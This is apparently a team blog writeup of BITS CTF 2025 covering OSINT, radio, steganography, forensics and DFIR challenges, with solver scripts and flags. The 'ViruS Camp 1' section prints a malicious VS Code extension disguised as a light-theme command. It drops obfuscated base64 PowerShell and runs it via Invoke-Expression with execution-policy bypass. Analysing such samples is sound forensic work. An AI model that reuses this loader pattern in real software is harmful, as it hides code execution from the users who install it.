Post

BITS CTF 2025 Writeup

This blog post documents our solves for challenges in the BITSCTF 2025.

BITS CTF 2025 Writeup

Last weekend we participated in our first BITS CTF organized by the BITSkrieg from BITS Pilani, Goa Campus, India. This was a fun jeopardy-style CTF with categories spanning from Web Exploitation, Reverse Engineering, Cryptography, Forensics, PWN, and OSINT. Out of the 848 teams that played the CTF, we scooped the 56 position.🥳🚩

image


That aside, let’s dive into the solves.

image


WELCOME - SANITY CHECK

This was an easy challenge to test the player’s sanity. I joined the BITSCTF Discord server and found the flag.

Discord Flag

OSINT

HOT PAUSE

The instructions were:

What even is OSINT about this? nc chals.bitskrieg.in 8000

This is the video that was attached to the challenge. Watch

I played it multiple times then proceeded to use exiftool to view its metadata and see if I could find any hints. I found nothing. I then ran the NC command and saw the first question, asking about what city that concert  was in.

1
2
3
nc chals.bitskrieg.in 8000
Welcome secret agent. We've recovered a video from our aliases infiltrating our next target. Your first task is to find out what is our target city.
City Name (all caps):

I paused the video at a point where I felt was unique or peculiar:

Hot Pause

I proceeded to use google lens to do a reverse image search and discovered that this was COLDPLAY music group concert that happened in India at Ahmedabad at the Narendra Modi Stadium.

The answer to the first question was AHMEDABAD. That was the name of the city where the concert happened. I submitted it and got a second question:

1
2
3
4
5
6
nc chals.bitskrieg.in 8000
Welcome secret agent. We've recovered a video from our aliases infiltrating our next target. Your first task is to find out what is our target city.
City Name (all caps): AHMEDABAD
Correct!
Well done! Now you need to find out where our partner agent was sitting.
Block Letter with Bay(For eg. A5,B1 etc.):

For this question I googled the sitting arrangement for the concert and found one useful one from here:

Hot Pause

Visually inspecting the angle from where the video was taken and comparing to the image above, I had good reasons to think it was taken from section Q. I bruteforced the answer till Q3 got accepted. After submitting it, I got another question:

1
2
3
4
5
6
7
8
9
nc chals.bitskrieg.in 8000
Welcome secret agent. We've recovered a video from our aliases infiltrating our next target. Your first task is to find out what is our target city.
City Name (all caps): AHMEDABAD
Correct!
Well done! Now you need to find out where our partner agent was sitting.
Block Letter with Bay(For eg. A5,B1 etc.): Q3
Correct!
Good work. Now when you hear Chris Martin say "You know I love you so...." for the beat drop, I need you to use your Flipper Zero to send the correct data stream, replicating the wristbands colour exactly. Our enemies should have no clue. Good Luck.
Data Stream:

At first I thought I was colorblind, I tried submitting white, it didn’t work, then tried yellow and orange and it also didnt work. I asked a teammate for help then he sent me to go do some reading in this github repository.

While there I found this specific page where I picked the stream bits for the color yellow:

1
1400 1400 700 700 700 700 1400 2800 700 2100 700 700 700 1400 700 1400 1400 2800 1400 2800 700

I then submitted this as the last answer and was given the flag:

1
2
3
4
5
6
7
8
9
10
11
12
nc chals.bitskrieg.in 8000
Welcome secret agent. We've recovered a video from our aliases infiltrating our next target. Your first task is to find out what is our target city.
City Name (all caps): AHMEDABAD
Correct!
Well done! Now you need to find out where our partner agent was sitting.
Block Letter with Bay(For eg. A5,B1 etc.): Q3
Correct!
Good work. Now when you hear Chris Martin say "You know I love you so...." for the beat drop, I need you to use your Flipper Zero to send the correct data stream, replicating the wristbands colour exactly. Our enemies should have no clue. Good Luck.
Data Stream: 1400 1400 700 700 700 700 1400 2800 700 2100 700 700 700 1400 700 1400 1400 2800 1400 2800 700
Correct!

Good Job agent. Here's your flag, should you choose to accept it: BITSCTF{that_was_a_very_weird_OSINT_challenge_afd12df}

BITSCTF{that_was_a_very_weird_OSINT_challenge_afd12df}

Hardware

%ulation

Description

Shifting keys or something idk.

Overview

We are given a radio signal file, and our goal is to analyze its contents. The challenge likely involves shifting keys or some form of hidden transmission.

Opening the File in Universal Radio Hacker (URH)

Using Universal Radio Hacker (URH) , we load the provided file. Voila! We immediately see the binary data representation of the transmission.

What is URH?

URH is a powerful tool for wireless protocol analysis, supporting Software Defined Radios (SDRs) and providing features like:

  • Automatic modulation detection
  • Bitstream analysis
  • Decoding support for various encodings
  • Protocol field inference
  • Fuzzing & simulation for attacks

image

Extracting and Decoding the Binary Data

After obtaining the binary output from URH, I copied it into CyberChef for decoding. No complex encoding schemes or patterns — just a straightforward binary-to-text conversion.

image

BITSCTF{A_br13f_4nd_g3ntl3_1ntr0duc710n_70_r4di0_h4ck1ng_c5c33558}

Forensics

Symphonies 🕵️‍♂️🎼

📝 Description

My producer sent me the test file to check. I don’t think he’s good at that. Like HOW CAN YOU NOT SEND A FILE CORRECTLY?? What are you hiding, producer guy?

🔍 Initial Analysis

We’re given a .dwg file, which is typically an AutoCAD drawing file. However, based on the challenge description, something seems off. The phrase “not sent correctly” hints at a possible format issue.

📜 Hex Inspection

Opening the file in a hex editor, we find the following header:

4D 49 44 49 00 00 00 06

This does not match the expected .dwg signature. However, it does resemble the MIDI (Musical Instrument Digital Interface) file format, except for one small issue—the MIDI header is incorrect

🎭 Fixing the Header

A valid MIDI file should start with MThd, which is represented in hex as:

4D 54 68 64

So, we replace:

4D 49 44 49 00 00 00 06 → 4D 54 68 64

After correcting the header, the file becomes a playable MIDI file.

🎼 Playback & Analysis

To inspect the contents of the MIDI file, we use an online MIDI editor:

🔗 Signal MIDI Editor

Opening the file, we notice a sequence of notes with specific values. This suggests that there might be hidden data encoded within the MIDI structure.

🧪 Extracting MIDI Properties

To analyze the MIDI file in detail, we use Python and pretty_midi to extract note properties:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from midiutil.MidiFile import MIDIFile
import pretty_midi
import pandas as pd

def extract_midi_notes(midi_file_path):
    pm = pretty_midi.PrettyMIDI(midi_file_path)
    notes = []
    
    for instrument in pm.instruments:
        instrument_name = pretty_midi.program_to_instrument_name(instrument.program)
        
        for note in instrument.notes:
            note_info = {
                'instrument': instrument_name,
                'pitch': note.pitch,
                'note_name': pretty_midi.note_number_to_name(note.pitch),
                'start_time': round(note.start, 3),
                'end_time': round(note.end, 3),
                'duration': round(note.end - note.start, 3),
                'velocity': note.velocity
            }
            notes.append(note_info)
    
    df = pd.DataFrame(notes)
    df = df.sort_values('start_time')
    return df

def display_midi_summary(df):
    print("\nMIDI File Summary:")
    print("-----------------")
    print(f"Total notes: {len(df)}")
    print(f"Unique instruments: {df['instrument'].nunique()}")
    print(f"Duration: {df['end_time'].max():.2f} seconds")
    print("\nInstruments used:")
    for instrument in df['instrument'].unique():
        count = len(df[df['instrument'] == instrument])
        print(f"- {instrument}: {count} notes")
    
    print("\nPitch range:")
    print(f"Lowest note: {df['note_name'].min()} (MIDI pitch: {df['pitch'].min()})")
    print(f"Highest note: {df['note_name'].max()} (MIDI pitch: {df['pitch'].max()})")

if __name__ == "__main__":
    midi_file = "chall.mid"
    try:
        notes_df = extract_midi_notes(midi_file)
        display_midi_summary(notes_df)
        notes_df.to_csv("midi_notes.csv", index=False)
        print("\nNotes saved to 'midi_notes.csv'")
    except Exception as e:
        print(f"Error processing MIDI file: {str(e)}")

🧪 XORing Notes and Velocity

Analyzing the CSV file, I noticed that the note and velocity values could potentially be converted into ASCII characters. After experimenting, I decided to XOR the two values together to see what hidden message might emerge.

Here’s the code for XORing the two datasets:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def xor_strings(numbers, text):
    numbers = [int(x) for x in numbers.split()]
    text_values = [ord(c) for c in text]
    
    min_length = min(len(numbers), len(text_values))
    result = []
    
    for i in range(min_length):
        xored_value = numbers[i] ^ text_values[i]
        result.append(xored_value)
    
    return result

numbers_str = "4 56 20 5 101 62 62 81 38 64 77 99 78 20 68 30 21 27 97 46 58 100 27 21 86 77 59 45 9 22 5 32 69 20 101 61 96 85 1 109 69 19 55 60 69 46 36 120 84 13 18 0 52 19 101 18 113 6 14 72 98 20 6 91 21 103 63 5 17 126 20 84 118 34 52 23 120 24 32 66 12 110 86 78 111 83 28 64 80 101 69 118 126 14 31 34 34 54 120 102 71 25 45 28 49 98 23 36 43 70 62 10"
text_str = "Fq@V&jx*_p8<y|tk#sVqCTnJ5}NAmI3Uv!PbW=0Xz2hM7Z@Lg9oB}G6Q%@u1RaYl}WJ3yIK-FWktHmL&SX#}ZfCw8TpI_QnPVRLUsdoUe1Tpm=GWJgqYz-`5h@QtnsMbwEb2^XV4CjAoYjlLn7Z9#HtXPiUvR1N~w3VknH72KXh@N{Ve`41zQ!L8dTuQfoP5IpkdZ~h2MjqkJlEw#TXN93RYiLgYPKcSTsZVoQm#y21t!j3LMFcu|zTh6rNbHwa-9v8VFVpsCINrw=QgU7jlJz2#YpBkLg<3ctWq@SHFvi5G$QxR81-_KmrXnozCTg41pY*}qN6asIwM9WfLZP|o~uA#"

result = xor_strings(numbers_str, text_str)

print("XOR Result (decimal values):")
print(result)

print("\nXOR Result (hex values):")
print([hex(x) for x in result])

print("".join(chr(x) for x in result))

Alternative script you can use to solve it in one go using python’s mido library

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import io
import mido

with open("Demo1", "rb") as f:
    data = f.read()
    midi_file = io.BytesIO(b"MThd" + data[4:])

mid = mido.MidiFile(file=midi_file)
track = mid.tracks[0]

velocities = []
notes = []
for msg in track:
    if msg.type == "note_on":
        velocities.append(msg.velocity)
        notes.append(msg.note)

ascii_numbers = bytes(notes).decode()
notes = [int(c) for c in ascii_numbers.split()]
print(bytes([a ^ b for a, b in zip(notes, velocities)]).decode())

image

BITSCTF{y0u_7h0u6h7_y0u_c0uld_6u355_7h15?!_qrtd434}

AutoBots unite

Challenge Overview

We are given a .dwg file, which is an AutoCAD drawing. The task is to decode hidden data within the file, specifically by analyzing line heights in the drawing that look like they might contain a barcode-like pattern.

Running file command we see we have a .dwg file

Pasted image 20250209195953

Inspect the .DWG File

Initially, I opened the .dwg file with an online AutoCAD viewer DWG FastView, but all I saw were random lines, some of which appeared to be different heights. These lines looked a lot like barcode patterns, with subtle variations in height that could represent encoded data.

Convert the DWG to DXF

After some research, I realized that the DXF format (Drawing Exchange Format) could help us extract meaningful data from the drawing. The DXF format is a text-based representation of AutoCAD files, which makes it easier to parse and analyze.

Extract Line Data Using DXF

Next, I converted the .dwg file into a .dxf file. Once I had the DXF file, I used the ezdxf Python library to read the line data. The focus was on the X, Y, and Z coordinates of each line, as well as their length.

Here’s the code I used to process the DXF file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import ezdxf
import math

# Load DXF file
dwg_file = "chall.dxf"
doc = ezdxf.readfile(dwg_file)
msp = doc.modelspace()

# Process each LINE entity
for entity in msp.query("LINE"):
    start_x, start_y, start_z = entity.dxf.start
    end_x, end_y, end_z = entity.dxf.end
    
    length = math.dist(entity.dxf.start, entity.dxf.end)

    # Print split values
    print(f"Start (X, Y, Z): ({start_x:.2f}, {start_y:.2f}, {start_z:.2f})")
    print(f"End   (X, Y, Z): ({end_x:.2f}, {end_y:.2f}, {end_z:.2f})")
    print(f"Length: {length:.2f}")
    print("-" * 40)  

Identify Interesting Patterns

While inspecting the output, I noticed that the X values were fluctuating a lot more than the Y and Z values. After analyzing the data, I discovered that the most common difference between X values was 42.

Decoding the Data

I hypothesized that the variation in the X coordinates could correspond to numbers. After subtracting the constant offset 42 from each of the X values, I converted the result into ASCII characters.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
numbers = [
    43.02, 42.68, 42.51, 42.98, 42.80, 42.49, 43.09, 42.81, 42.57, 43.20,
    42.76, 43.22, 42.50, 42.84, 42.64, 43.07, 42.74, 42.56, 43.18, 42.87,
    42.48, 43.17, 42.86, 42.89, 43.03, 42.70, 42.54, 43.10, 42.88, 42.55,
    43.15, 42.66, 42.73, 42.84, 42.83, 42.67, 42.84, 42.70, 43.23, 42.98,
    42.52, 43.14, 42.99, 42.48, 43.00, 42.51, 43.15, 42.95, 42.52, 43.14,
    42.51, 42.95, 42.48, 43.18, 42.51, 43.14, 42.52, 43.16, 42.51, 43.00,
    42.95, 42.52, 43.15, 43.02, 42.95, 43.04, 42.51, 43.04, 42.51, 42.95,
    42.48, 43.07, 42.49, 43.09, 43.00, 42.48, 43.10, 42.51, 43.25, 42.90,
    42.99, 42.65, 42.52, 43.19, 42.82, 42.53, 43.04, 42.78, 42.49, 43.12,
    42.75, 42.35, 43.11, 42.69, 42.57, 43.21, 42.76, 43.09, 42.67, 43.06,
    42.48, 43.00, 42.70, 43.22, 42.72, 42.51, 43.16, 42.66, 42.50, 43.17,
    42.87, 43.13, 42.82, 42.55, 42.86, 43.10, 42.89, 43.18, 42.80, 42.54,
    42.97, 42.81, 43.07, 42.84, 42.49, 43.03, 42.83, 43.14, 42.84, 42.55,
    43.18, 42.90, 42.51, 42.66, 42.50, 43.15, 42.54, 42.80, 42.57, 43.13,
    42.89, 43.09, 42.69, 42.53, 42.74, 43.20, 42.52, 42.65, 42.49, 43.19,
    42.68, 43.07, 42.76, 43.02, 42.48, 43.12, 42.67, 42.56, 42.86, 43.10,
    42.81, 43.06, 42.88, 43.14, 42.87, 43.22, 42.49, 43.17, 42.77, 42.55,
    43.04, 42.83, 42.48, 43.03, 42.75, 42.56, 42.98, 42.89, 43.18, 42.70,
    42.50, 43.08, 42.78, 42.57, 43.16, 42.87, 43.22, 42.51, 43.00, 42.82,
    42.53, 43.11, 42.85, 42.49, 42.97, 42.86, 42.54, 42.99, 42.75, 43.13,
    42.52, 42.80, 42.48, 42.87, 43.09
]

# Convert to decimal values and ASCII characters
decimal_values = [round((num - 42) * 100) for num in numbers]
ascii_chars = ''.join(chr(val) for val in decimal_values)

# Print the decimal values and ASCII characters
print("Decimal values:", decimal_values)
print("ASCII String:", ascii_chars)

image

BITSCTF{b4rc0d3s_4r3_0v3r4t3d_4sf_h3h3_0k1md0n3}

Finders_Keepers

Description

We are given a PNG file, but at first glance, it looks normal. However, hidden data might be embedded, so we begin investigating.

Step 1: Extracting Hidden Files

Using foremost, we attempt to extract any embedded files from weird.png:

1
foremost -i weird.png -T

This process reveals two extracted files:

  • A JPG image
  • A WAV audio file

Step 2: Analyzing the JPG for Hidden Data

Opening the JPG in Sonic Visualizer, we apply a spectrogram layer and notice a Morse code pattern embedded in the image.

Pasted image 20250210010315

Step 3: Decoding the Morse Code

To decode the Morse message, I upload the WAV file to morsecode.world.

Pasted image 20250210003735

The decoded text

1
SNOOOOOOPPPPPPP

Step 4: Extracting Hidden Data from the JPG

Since the Morse message hints at something hidden, we use steganography tools to check the JPG. Running steghide to extract embedded data:

image

BITSCTF{1_4m_5l33py_1256AE76}

DFIR

BABY DFIR

This was an easy challenge in the DFIR category. The description read:

I promise this is actually easy.

A file abc.ad1 was attached to the challenge. I downloaded the file and ran the head command on the file that actually suggested this might be some host machine image with just the file I am looking for:

1
2
3
4
5
6
7
8
9
head abc.ad1                               
ADSEGMENTEDFILE�]ADLOGICALIMAGEu�AD\��C:\Users\vboxuser\DesktopC:\Users\vboxuser\Desktop]��␦
            desktop.ini��x���K
                              a����3�␦�e����K,&S3�\�x<ߔ�N��;�t��|ԩ�$b����␦��ք#;J���i���q׻e���rRI���!#␦n��^ą�ҺȮ�>|�vż����&-QL�.�ꂉ)�7���J˜�2�j�w^L_W�z�2�1�282�20falsetfalse�true�true�true�false�true!P 9e36cc3537ee9ee1e3b10fa4e761045bP(7726f55012e1e26cc762c9982e7c6c54ca7bb303��flag.txt��x�s�
                                                  	vq�N�/JM�ɩ�/��-�I���+)ʏ/ɏwq�
    �74�0�H�L��|�147A20250206T225151.34814620250206T225125.094082�	20250206false�false�true�falsefalse*falseBtruevP 3677fb16caa7ba1e220668079cf26838P(035037471f31c918556e266b9bfc1bbd4c026ce5ATTRGUID�s؊��jG�␦6���k
                                                         �5Lv!G���␦3�7���CWO�ʀ6���2��ðL�S`t���	~J_�K��h��d�d�d:~O�2�(��X
                                         EUB��B�����Ay���j�=�M�s܁�6^��5b�E�e.*`^��ey\bC���ZMq@P
3�k��M�>!���uP��@'#$L�X�꟤�\e��^�D��_U�LOCSGUID>���bI�D�X��ho�  

So how then do I get to the flag.txt file? I downloaded FTK imager tool on my windows machine and used it to open the given file. That gave me access to the flag as illustrated below:

FTK imager flag

ViruS Camp 1

Alice was just hired as a junior dev and she is absolutely obsessed with light themes. While customizing her work laptop she suddenly found out that their top secret flag was encrypted. Can you figure out how this happened and unconver a few flags in the process? https://drive.google.com/file/d/1i2D_rbLjuqAIqtcqipuT95sHcTAOLCBC/view?usp=sharing

Steps to Solve:

  • File Analysis: We are provided with an .adi file. Using FTK Imager on the desktop, the .adi file reveals another file: flag.enc. This indicates that the encryption method requires a secret key, which we need to extract.

  • Discovering the Secret Key: After further investigation, a vscode folder is found containing a JavaScript extension fileextension.js . Examining the contents of this file, we find a block of obfuscated code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
 "use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
    if (k2 === undefined) k2 = k;
    var desc = Object.getOwnPropertyDescriptor(m, k);
    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
      desc = { enumerable: true, get: function() { return m[k]; } };
    }
    Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
    if (k2 === undefined) k2 = k;
    o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
    Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
    o["default"] = v;
});
var __importStar = (this && this.__importStar) || (function () {
    var ownKeys = function(o) {
        ownKeys = Object.getOwnPropertyNames || function (o) {
            var ar = [];
            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
            return ar;
        };
        return ownKeys(o);
    };
    return function (mod) {
        if (mod && mod.__esModule) return mod;
        var result = {};
        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
        __setModuleDefault(result, mod);
        return result;
    };
})();
Object.defineProperty(exports, "__esModule", { value: true });
exports.activate = activate;
exports.deactivate = deactivate;
const vscode = __importStar(require("vscode"));
const child_process_1 = require("child_process");
const fs = __importStar(require("fs"));
function activate(context) {
    const command = vscode.commands.registerCommand("rs", () => {
        const scriptContent = `$wy7qIGPnm36HpvjrL2TMUaRbz = "K0QZjJ3bG1CIlxWaGRXdw5WakASblRXStUmdv1WZSpQDK0QKoU2cvx2Qu0WYlJHdTRXdvRiCNkCKlN3bsNkLtFWZyR3UvRHc5J3YkoQDK0QKos2YvxmQsFmbpZEazVHbG5SbhVmc0N1b0BXeyNGJK0QKoR3ZuVGTuMXZ0lnQulWYsBHJgwCMgwyclRXeC5WahxGckgSZ0lmcX5SbhVmc0N1b0BXeyNGJK0gCNkSZ0lmcXpjOdVGZv1UbhVmc0N1b0BXeyNkL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTtFIsI3b0BXeyNmblRCIs0WYlJHdTRXdvRCKtFWZyR3UvRHc5J3QukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5NFI0NWZqJ2TtcXZOBSPg0WYlJHdT9GdwlncjRiCNkSZ0FWZyNkO60VZk9WTlxWaG5yTJ5SblR3c5N1WgwSZslmR0VHc0V3bkgSbhVmc0NVZslmRu8USu0WZ0NXeTBCdjVmai9UL3VmTg0DItFWZyR3U0V3bkoQDK0QKlxWaGRXdw5WakgyclRXeCxGbBRWYlJlO60VZslmRu8USu0WZ0NXeTtFI9AyclRXeC5WahxGckoQDK0QKoI3b0BXeyNmbFVGdhVmcD5yclFGJg0DIy9Gdwlncj5WZkoQDK0wNTN0SQpjOdVGZv10ZulGZkFGUukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIn5WakRWYQ5yclFGJK0wQCNkO60VZk9WTyVGawl2QukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIlR2bN5yclFGJK0gdpRCI9AiVJ5yclFGJK0QeltGJg0DI5V2SuMXZhRiCNkCKlRXYlJ3Q6oTXzVWQukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIzVWYkoQDK0gIj5WZucWYsZGXcB3b0t2clREXcJXZzVHevJmdcx1cyV2cVxFX6MkIg0DIlxWaGRXdwRXdvRiCNIyZuBnLnFGbmxFXw9GdrNXZExFXyV2c1h3biZHXcNnclNXVcxlODJCI9ASZslmR0VHculGJK0gCNkSZ6l2U2lGJoMXZ0lnQ0V2RuMXZ0lnQlZXayVGZkASPgYXakoQDpUmepNVeltGJoMXZ0lnQ0V2RuMXZ0lnQlZXayVGZkASPgkXZrRiCNkycu9Wa0FmclRXakACL0xWYzRCIsQmcvd3czFGckgyclRXeCVmdpJXZEhTO4IzYmJlL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTBCdjVmai9UL3VmTg0DIzVGd5JUZ2lmclRGJK0gCNAiNxASPgUmepNldpRiCNACIgIzMg0DIlpXaTlXZrRiCNADMwATMg0DIz52bpRXYyVGdpRiCNkCOwgHMscDM4BDL2ADewwSNwgHMsQDM4BDLzADewwiMwgHMsEDM4BDKd11WlRXeCtFI9ACdsF2ckoQDiQmcwc3czRDU0NjcjNzU51kIg0DIkJ3b3N3chBHJ" ;
$9U5RgiwHSYtbsoLuD3Vf6 = $wy7qIGPnm36HpvjrL2TMUaRbz.ToCharArray() ; [array]::Reverse($9U5RgiwHSYtbsoLuD3Vf6) ; -join $9U5RgiwHSYtbsoLuD3Vf6 2>&1> $null ;
$FHG7xpKlVqaDNgu1c2Utw = [systeM.tEXT.ENCODIng]::uTf8.geTStRInG([sYsTeM.CoNVeRt]::FROMBase64StRIng("$9U5RgiwHSYtbsoLuD3Vf6")) ;
$9ozWfHXdm8eIBYru = "InV"+"okE"+"-ex"+"prE"+"SsI"+"ON" ; new-aliaS -Name PwN -ValUe $9ozWfHXdm8eIBYru -fOrce ; pwn $FHG7xpKlVqaDNgu1c2Utw ;`;
        const scriptPath = `C:\\Users\\vboxuser\\AppData\\Local\\Temp\\temp0001`;
        try {
            fs.writeFileSync(scriptPath, scriptContent);
            vscode.window.showInformationMessage(`The light mode will activate in a few minutes.`);
        }
        catch (error) {
            vscode.window.showErrorMessage(`Error activating light mode.`);
        }
        (0, child_process_1.exec)(`powershell.exe -ExecutionPolicy Bypass -File "${scriptPath}"`, (error, stdout, stderr) => {
            if (error) {
                console.error(`Error: ${error.message}`);
            }
            if (stderr) {
                console.error(`Stderr: ${stderr}`);
            }
            console.log(`Stdout: ${stdout}`);
        });
    });
    context.subscriptions.push(command);
}
// VGhlIDFzdCBmbGFnIGlzOiBCSVRTQ1RGe0gwd19jNG5fdlNfYzBkM19sM3RfeTB1X3B1Ymwxc2hfbTRsMWNpb3VzX2V4NzNuc2kwbnNfU09fZWFzaWx5Pz9fNWE3YjMzNmN9
function deactivate() { }
//# sourceMappingURL=extension.js.map

The last commented line looks like base64 decrypting it we get the flag to the first challenge image

BITSCTF{H0w_c4n_vS_c0d3_l3t_y0u_publ1sh_m4l1cious_ex73nsi0ns_SO_easily??_5a7b336c}

Virus Camp 2

Recap from Part 1

In the previous part, we analyzed the encrypted file (flag.enc) and identified that it was encrypted using AES-CBC. The key and IV were derived using PBKDF2 with a fixed salt and SHA-1 hashing. With this knowledge, we proceeded to decrypt the file and extract the hidden contents.

Decrypting the File

To decrypt the file, we used a Python script that follows these key steps:

  • Recreating the Key & IV:

    • The password is used as input for PBKDF2-HMAC-SHA1.
    • A predefined salt (\x01\x02\x03\x04\x05\x06\x07\x08) ensures we derive the correct key.
    • The function derives a 32-byte key and a 16-byte IV using 10,000 iterations.
  • AES-CBC Decryption:

    • Using the derived key and IV, we initialize an AES cipher in CBC mode.
    • The encrypted data is read from flag.enc and decrypted.
    • The decrypted data undergoes PKCS7 padding removal.
  • Saving the Output:

    • The decrypted content is written to flag_decrypted.png.

Python Script for Decryption

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import os

def decrypt_file(encrypted_file, output_file, password):
    password = password.encode()
    salt = bytes([0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08])
    iterations = 10000
    key_size = 32
    iv_size = 16

    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA1(),
        length=key_size + iv_size,
        salt=salt,
        iterations=iterations,
        backend=default_backend()
    )
    derived_bytes = kdf.derive(password)
    
    key = derived_bytes[:key_size]
    iv = derived_bytes[key_size:key_size + iv_size]

    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    decryptor = cipher.decryptor()

    with open(encrypted_file, 'rb') as f:
        encrypted_data = f.read()

    decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
    padding_length = decrypted_data[-1]
    decrypted_data = decrypted_data[:-padding_length]

    with open(output_file, 'wb') as f:
        f.write(decrypted_data)

if __name__ == "__main__":
    encrypted_file = "flag.enc"
    output_file = "flag_decrypted.png"
    password = "MyS3cr3tP4ssw0rd"
    
    decrypt_file(encrypted_file, output_file, password)
    print(f"File decrypted successfully to {output_file}")

Extracting the Flag

Once decrypted, the output file (flag_decrypted.png) contained the hidden flag. Opening the PNG revealed the final flag

flag_decrypted

This post is licensed under CC BY 4.0 by the author.